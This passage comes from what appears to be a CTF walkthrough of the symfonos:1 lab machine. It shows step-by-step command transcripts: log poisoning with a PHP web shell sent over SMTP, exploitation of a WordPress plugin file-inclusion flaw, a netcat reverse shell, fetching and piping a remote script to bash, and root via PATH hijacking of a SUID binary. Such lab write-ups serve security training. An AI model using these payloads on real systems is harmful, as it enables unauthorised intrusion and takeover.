- Conenct to the SMTP server.
- Send an email to
helios
from some random email address. - Format the body of the email to be a simple PHP web shell.
- Retrieve the mailbox file for
helios
via the LFI exploit like I did above with the payload in the email.
In theoery, because it is going through the LFI exploit in the Wordpress plug-in, the PHP code in the email body should be interpreted by the PHP engine, meaning I will have a functional web shell. Now let me see if theory meets reality. I’ll be using nc
to connect to the SMTP server and send some commands to create my email:
root@kali:~# nc 10.0.2.12 25
220 symfonos.localdomain ESMTP Postfix (Debian/GNU)
HELO hacker.org
250 symfonos.localdomain
MAIL FROM: hacker@hacker.org
250 2.1.0 Ok
RCPT TO: helios
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
<?php system($_GET['cmd']); ?>
.
250 2.0.0 Ok: queued as 83AE340698
quit
221 2.0.0 Bye
root@kali:~# curl -s "http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_se
nd.php?pl=/var/mail/helios&cmd=whoami" | tail
Return-Path: <hacker@hacker.org>
X-Original-To: helios
Delivered-To: helios@symfonos.localdomain
Received: from hacker.org (unknown [10.0.2.10])
by symfonos.localdomain (Postfix) with SMTP id 83AE340698
for <helios>; Tue, 24 Sep 2019 12:50:41 -0500 (CDT)
helios
root@kali:~# curl -s "http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=which+nc" | tail
Return-Path: <hacker@hacker.org>
X-Original-To: helios
Delivered-To: helios@symfonos.localdomain
Received: from hacker.org (unknown [10.0.2.10])
by symfonos.localdomain (Postfix) with SMTP id 83AE340698
for <helios>; Tue, 24 Sep 2019 12:50:41 -0500 (CDT)
/bin/nc
Excellent. Not only did this work, but I am able to run commands using curl
. I’m using tail
to drop most of the preceding content from the mailbox file since it isn’t relevant to me. I can see that the Apache server is running as helios
and that there is a version of nc
installed on the remote machine. Next step would be to get a shell using nc
and then do some system-level enumeration using LinEnum.sh
.
System Enumeration
First off I create a reverse shell using nc
, upgrade to a proper TTY session via Python, then use LinEnum.sh
to enumerate the system.
Note: I’ve updated my LinEnum.sh
script to force the thorough tests option to always run. For CTFs, I always want the extra output so by forcing it within the script I don’t have to worry about forgetting to set the flag. This makes John a happy man.
Here’s the reverse shell command (run after I setup my listener):
root@kali:~# curl -s "http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=/bin/nc+-e+/bin/bash+10.0.2.10+9001"
And here is the listener setup on my attacking machine executing the various scripts:
oot@kali:~# nc -nvlp 9001
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.0.2.12.
Ncat: Connection from 10.0.2.12:40532.
python -c "import pty;pty.spawn('/bin/bash')"
<h3l105/wp-content/plugins/mail-masta/inc/campaign$ export TERM=screen
export TERM=screen
helios@symfonos:/var/www/html/h3l105/wp-content/plugins/mail-masta/inc/campaign$ cd /home/helios
cd /home/helios
helios@symfonos:/home/helios$ wget -qO - http://10.0.2.10/LinEnum.sh | bash | tee -a /tmp/linenum.txt
#########################################################
# Local Linux Enumeration & Privilege Escalation Script #
#########################################################
# www.rebootuser.com
# version 0.971
[-] Debug Info
[+] Thorough tests = Enabled
Scan started at:
Tue Sep 24 13:08:30 CDT 2019
### SYSTEM ##############################################
[-] Kernel information:
Linux symfonos 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1+deb9u3 (2019-06-16) x86_64 GNU/Linux
[-] Kernel information (continued):
Linux version 4.9.0-9-amd64 (debian-kernel@lists.debian.org) (gcc version 6.3.0 20170516 (Debian 6.3.0-18+deb9u1) ) #1 SMP Debian 4.9.16
8-1+deb9u3 (2019-06-16)
[-] Specific release information:
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
NAME="Debian GNU/Linux"
VERSION_ID="9"
VERSION="9 (stretch)"
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
[-] Hostname:
symfonos
### USER/GROUP ##########################################
[-] Current user/group info:
uid=1000(helios) gid=1000(helios) groups=1000(helios),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
<snip>
...
[-] SUID files:
-rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-- 1 root messagebus 42992 Jun 9 16:42 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 440728 Mar 1 2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 59680 May 17 2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 75792 May 17 2017 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 40312 May 17 2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root 40504 May 17 2017 /usr/bin/chsh
-rwsr-xr-x 1 root root 50040 May 17 2017 /usr/bin/chfn
-rwsr-xr-x 1 root root 8640 Jun 28 20:21 /opt/statuscheck
-rwsr-xr-x 1 root root 44304 Mar 7 2018 /bin/mount
-rwsr-xr-x 1 root root 31720 Mar 7 2018 /bin/umount
-rwsr-xr-x 1 root root 40536 May 17 2017 /bin/su
-rwsr-xr-x 1 root root 61240 Nov 10 2016 /bin/ping
[-] SGID files:
-rwxr-sr-x 1 root shadow 35592 May 27 2017 /sbin/unix_chkpwd
-r-xr-sr-x 1 root postdrop 14456 Mar 25 2019 /usr/sbin/postdrop
-r-xr-sr-x 1 root postdrop 22600 Mar 25 2019 /usr/sbin/postqueue
-rwxr-sr-x 1 root shadow 22808 May 17 2017 /usr/bin/expiry
-rwxr-sr-x 1 root shadow 71856 May 17 2017 /usr/bin/chage
-rwxr-sr-x 1 root tty 14768 Apr 12 2017 /usr/bin/bsd-write
-rwxr-sr-x 1 root tty 27448 Mar 7 2018 /usr/bin/wall
-rwxr-sr-x 1 root ssh 358624 Mar 1 2019 /usr/bin/ssh-agent
-rwxr-sr-x 1 root mail 19008 Jan 17 2017 /usr/bin/dotlockfile
-rwxr-sr-x 1 root crontab 40264 Oct 7 2017 /usr/bin/crontab
-rwxr-sr-x 1 root mail 10952 Dec 24 2016 /usr/bin/dotlock.mailutils
<snip>
...
in the SUID files section I notice an entry for /opt/statuscheck
. This looks interesting as it’s not a standard program that’s part of a default install. As such, it warrants more investigation.
Privilege Escalation
Let me start of by running the /opt/statuscheck
file and see what it does:
helios@symfonos:/home/helios$ /opt/statuscheck
/opt/statuscheck
HTTP/1.1 200 OK
Date: Tue, 24 Sep 2019 18:13:10 GMT
Server: Apache/2.4.25 (Debian)
Last-Modified: Sat, 29 Jun 2019 00:38:05 GMT
ETag: "148-58c6b9bb3bc5b"
Accept-Ranges: bytes
Content-Length: 328
Vary: Accept-Encoding
Content-Type: text/html
helios@symfonos:/home/helios$ file /opt/statuscheck
file /opt/statuscheck
/opt/statuscheck: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4dc315d863d033acbe07b2bfc6b5b2e72406bea4, not stripped
helios@symfonos:/home/helios$
Seems to be some type of curl
-like command based on the output, and it appears the file is an ELF executable. Whenever faced with a binary file, I like to run the strings
command to see what may be hiding in it:
helios@symfonos:/home/helios$ strings /opt/statuscheck
strings /opt/statuscheck
/lib64/ld-linux-x86-64.so.2
libc.so.6
system
__cxa_finalize
__libc_start_main
_ITM_deregisterTMCloneTable
__gmon_start__
_Jv_RegisterClasses
_ITM_registerTMCloneTable
GLIBC_2.2.5
curl -I H
http://lH
ocalhostH
AWAVA
AUATL
[]A\A]A^A_
;*3$"
GCC: (Debian 6.3.0-18+deb9u1) 6.3.0 20170516
crtstuff.c
__JCR_LIST__
deregister_tm_clones
__do_global_dtors_aux
completed.6972
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
prog.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
_edata
system@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
_Jv_RegisterClasses
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got.plt
.data
.bss
.comment
Notice that curl -I
string in there? That’s a great sign and confirms what I suspected. If I run the command manually, I get simialr results:
helios@symfonos:/home/helios$ curl -I http://localhost
curl -I http://localhost
HTTP/1.1 200 OK
Date: Tue, 24 Sep 2019 18:18:27 GMT
Server: Apache/2.4.25 (Debian)
Last-Modified: Sat, 29 Jun 2019 00:38:05 GMT
ETag: "148-58c6b9bb3bc5b"
Accept-Ranges: bytes
Content-Length: 328
Vary: Accept-Encoding
Content-Type: text/html
Since the path to curl
isn’t hard-coded, I can easily create my own curl
file, manipulate the PATH
variable so it shows up first, then call /opt/statuscheck
again and I should be able to execute my own curl
program as root
. I’ll just use a very simple shell script to open a new shell for me as root:
helios@symfonos:/home/helios$ cd /tmp
cd /tmp
helios@symfonos:/tmp$ echo -n "#!" > curl
echo -n "#!" > curl
helios@symfonos:/tmp$ echo "/bin/sh" >> curl
echo "/bin/sh" >> curl
helios@symfonos:/tmp$ echo "/bin/sh" >> curl
echo "/bin/sh" >> curl
helios@symfonos:/tmp$ chmod 755 curl
chmod 755 curl
helios@symfonos:/tmp$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
helios@symfonos:/tmp$ /opt/statuscheck
/opt/statuscheck
# whoami
whoami
root
#
Note: There were a few backflips I had to do here because of the terminal I was in. When I tried to echo the string #!/bin/sh
to the file, it was being interpreted by the shell and causing an error, hence the splitting up of the command and the liberal use of the echo
command to get what I wanted.
Retrieve The Flag
Last step is to get the flag and finish the CTF:
# cd /root
cd /root
# ls
ls
proof.txt
# cat proof.txt
cat proof.txt
Congrats on rooting symfonos:1!
\ __
--==/////////////[})))==*
/ \ ' ,|
`\`\ //| ,|
\ `\ //,/' -~ |
) _-~~~\ |/ / |'| _-~ / ,
(( /' ) | \ / /'/ _-~ _/_-~|
((( ; /` ' )/ /'' _ -~ _-~ ,/'
) )) `~~\ `\\/'/|' __--~~__--\ _-~ _/,
((( )) / ~~ \ /~ __--~~ --~~ __/~ _-~ /
((\~\ | ) | ' / __--~~ \-~~ _-~
`\(\ __--( _/ |'\ / --~~ __--~' _-~ ~|
( ((~~ __-~ \~\ / ___---~~ ~~\~~__--~
~~\~~~~~~ `\-~ \~\ / __--~~~'~~/
;\ __.-~ ~-/ ~~~~~__\__---~~ _..--._
;;;;;;;;' / ---~~~/_.-----.-~ _.._ ~\
;;;;;;;' / ----~~/ `\,~ `\ \
;;;;' ( ---~~/ `:::| `\\.
|' _ `----~~~~' / `:| ()))),
______/\/~ | / / (((((())
/~;;.____/;;' / ___.---( `;;;/ )))'`))
/ // _;______;'------~~~~~ |;;/\ / (( (
// \ \ / | \;;,\ `
(<_ \ \ /',/-----' _>
\_| \\_ //~;~~~~~~~~~
\_| (,~~
\~\
~~
Contact me via Twitter @zayotic to give feedback!
#
Fin.